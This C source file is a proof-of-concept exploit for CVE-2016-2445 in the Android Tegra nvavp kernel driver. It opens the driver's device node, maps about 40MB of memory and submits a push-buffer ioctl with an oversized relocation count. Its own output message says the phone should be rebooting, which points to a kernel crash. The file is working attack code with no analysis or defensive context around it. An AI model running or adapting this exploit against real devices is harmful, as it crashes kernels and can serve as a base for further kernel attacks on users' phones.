/**
 *
 * CVE-2016-2445.c
 *
 *
 * https://android.googlesource.com/kernel/tegra.git/+/android-tegra-flounder-3.10-marshmallow-mr1/drivers/media/platform/tegra/nvavp/nvavp_dev.c#1691
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <strings.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>


typedef uint32_t __u32;

const char *dev = "/dev/tegra_audio_avpchannel";

struct nvavp_cmdbuf {
        __u32 mem;
        __u32 offset;
        __u32 words;
};

struct nvavp_reloc {
        __u32 cmdbuf_mem;
        __u32 cmdbuf_offset;
        __u32 target;
        __u32 target_offset;
};

struct nvavp_syncpt {
        __u32 id;
        __u32 value;
};


struct nvavp_pushbuffer_submit_hdr {
        struct nvavp_cmdbuf     cmdbuf;
        struct nvavp_reloc      *relocs;
        __u32                   num_relocs;
        struct nvavp_syncpt     *syncpt;
        __u32                   flags;
};

#define NVAVP_IOCTL_MAGIC               'n'
#define NVAVP_IOCTL_PUSH_BUFFER_SUBMIT  _IOWR(NVAVP_IOCTL_MAGIC, 0x63, \
					      struct nvavp_pushbuffer_submit_hdr)


int main(void)
{

	int fd;
	unsigned i;
	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("Failed to open %s with errno %s\n", dev, strerror(errno));
		return EXIT_FAILURE;
	}

	struct nvavp_pushbuffer_submit_hdr over = { 0 };
	over.cmdbuf.mem = 9;
	/* 40mb */
	over.relocs = mmap(NULL, 4096 * 10000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);

	if (over.relocs == MAP_FAILED) {
		printf("Map failed with %s\n", strerror(errno));
		return EXIT_FAILURE;
	}


	//try and make the screen turn into cool colors.
	/*	for (i = 0; i < 4096 * 10000; i++)
	 *	*((char *)over.relocs) = rand();
	 */

	printf("Got mmap of %p\n", over.relocs);
	over.num_relocs = (4096 * 9999) / sizeof(struct nvavp_reloc);

	over.syncpt = NULL;
	over.flags = 0;

	ioctl(fd, NVAVP_IOCTL_PUSH_BUFFER_SUBMIT, &over);
	printf("PHONE SOULD BE REBOOTING error: %s\n", strerror(errno));

	return EXIT_FAILURE;
}
